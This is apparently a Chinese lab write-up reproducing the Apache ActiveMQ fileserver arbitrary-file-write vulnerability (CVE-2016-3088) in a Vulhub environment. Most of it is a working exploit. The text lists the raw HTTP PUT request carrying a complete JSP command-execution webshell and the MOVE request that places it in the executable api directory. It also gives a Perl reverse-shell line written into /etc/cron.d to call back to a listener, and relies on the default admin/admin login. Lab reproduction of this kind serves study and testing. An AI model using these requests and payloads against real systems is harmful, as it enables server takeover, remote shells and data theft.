Apache ActiveMQ 远程代码执行漏洞(CVE-2016-3088)复现

一、搭建Docker、vulhub环境:

kali linux 下搭建 Vulhub 靶场(图文详解)_kali安装vulhub-CSDN博客

二、漏洞复现:

漏洞简介:

影响版本:Apache ActiveMQ 5.x~5.14.0

产生原因:ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。漏洞出现在fileserver应用中,支持写入文件,不解析jsp,支持移动文件(MOVE请求)。只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。(在5.14.0版本以后,彻底删除了fileserver应用。)

cd到vulhub(CVE-2016-3088)靶场编译环境打开环境:

浏览器打开页面admin/admin登录:

Brup抓包PUT方式上传webshell文件:

PUT /fileserver/1.txt HTTP/1.1
Host: 192.168.94.129:8161
Content-Length: 336

<%@ page import="java.io.*"%>
<%
 out.print("Hello</br>");
 String strcmd=request.getParameter("cmd");
 String line=null;
 Process p=Runtime.getRuntime().exec(strcmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));

 while((line=br.readLine())!=null){
  out.print(line+"</br>");
 }
%>

尝试上传jsp文件,发现文件格式被禁止:

由于上传的是文本文件并不能被服务器解析,所以我们下一步要利用MOVE方法将上传的webshell移动到可以执行的目录并更改后缀为jsp。

写入webshell,需要写在admin或api应用中,而这俩应用都需要登录才能访问。

默认的ActiveMQ账号密码均为admin,首先访问http://192.168.94.129:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径:

将抓到的包改成move方法,并将我们前边写入的txt文件移到可以执行jsp文件的目录中:

MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/1.jsp
Host: 192.168.94.129:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: think_template=default; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjY2NzYyODcyLCJlbWFpbCI6IiJ9._m5Os7Qfe03lFDNUNDvy5FH7qbelPu2xzFcmX2Ap4fM
Upgrade-Insecure-Requests: 1
 

可以看到我们已经可以命令执行了。

计划任务反弹

写入反弹计划命令:

PUT /fileserver/10.txt HTTP/1.1
Host: 192.168.94.129:8161
Content-Length: 250

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.94.129";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
 

移动到/etc/cron.d/目录下,遇到ubuntu目录不太一样,参考这里

MOVE /fileserver/10.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: 192.168.94.129:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: think_template=default
Upgrade-Insecure-Requests: 1
 

等待上线即可!!不知道为什么我的没上线欢迎留言!